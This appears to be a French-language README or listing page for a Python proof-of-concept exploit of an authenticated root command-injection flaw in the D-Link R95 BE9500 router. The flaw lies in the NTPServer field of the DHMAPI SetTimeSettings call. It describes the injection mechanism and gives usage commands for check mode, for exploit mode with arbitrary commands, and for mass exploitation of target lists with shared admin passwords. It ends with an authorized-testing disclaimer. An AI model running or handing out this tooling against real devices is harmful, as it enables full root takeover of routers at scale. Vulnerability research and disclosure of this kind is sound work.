
PoC Python pour CVE-2026-93958 : injection de commandes root authentifiée dans D-Link R95 BE9500 DHMAPI SetTimeSettings NTPServer, avec modes check, exploit et bulk.
PoC en Python 3 pour CVE-2026-93958 — firmware BE9500_1.00.16 (build 1.01B06) du D-Link R95 BE9500.
CVE-2026-93958 — injection de commandes OS (CWE-77 / CWE-78) dans /bin/ssi DHMAPI (SOAP sur HTTPS). Le gestionnaire SetTimeSettings stocke NTPServer sans assainissement ; la synchronisation UCI exécute uci set …="%s" via un shell, de sorte que les backticks dans NTPServer s'exécutent en tant que root.
Prérequis : session web admin valide (Login + HMAC API-AUTH). Utilisateur par défaut Admin. Port de gestion généralement 18443 (essayez aussi 443).
Impact : compromission totale de l'appareil (RCE root). Aucun correctif du fournisseur enregistré pour BE9500_1.00.16 (sept. 2026).
Recherche publique : FoundTL/D-Link-R95-BE9500
CVSS : 9.4 (v4.0) / 9.1 (v3.1, PR:H, périmètre modifié).
Page du PoC : https://pocbit.org/pocs/cve-2026-93958
Catalogue : https://pocbit.org/pocs/
| Produit | D-Link R95 BE9500 |
| Firmware | BE9500_1.00.16 / 1.01B06 |
| Vecteur | POST /DHMAPI/ → SetTimeSettings / NTPServer |
| Auth | Admin + API-AUTH |
| Exploit | injection `cmd` ; sortie via /www/pocbit93958.txt |
Fonctionnalités : CLI colorée, --mode check, --mode exploit, traitement en masse (--list + -j), JSONL + exploited.txt.
pip install -r requirements.txt
python poc.py -u 192.168.2.254:18443 --mode check
python poc.py -u 192.168.2.254:18443 -U Admin -P 'YourPass' --mode exploit
python poc.py -u 192.168.2.254:18443 -U Admin -P pass --mode exploit --command "uname -a"
python poc.py --list targets.example.txt --mode exploit -j 8
python poc.py --list targets.txt --mode exploit --password SharedAdminPass -j 12
Format d'une ligne de cible : host[:port] [username] [password] (tabulation/espace).
CVE-2026-93958 PoC: D-Link R95 BE9500 DHMAPI NTPServer authenticated root RCE. DHMAPI login, SetTimeSettings injection, mass exploit. PoCbit
Tests autorisés uniquement sur des appareils que vous possédez ou que vous êtes autorisé à évaluer.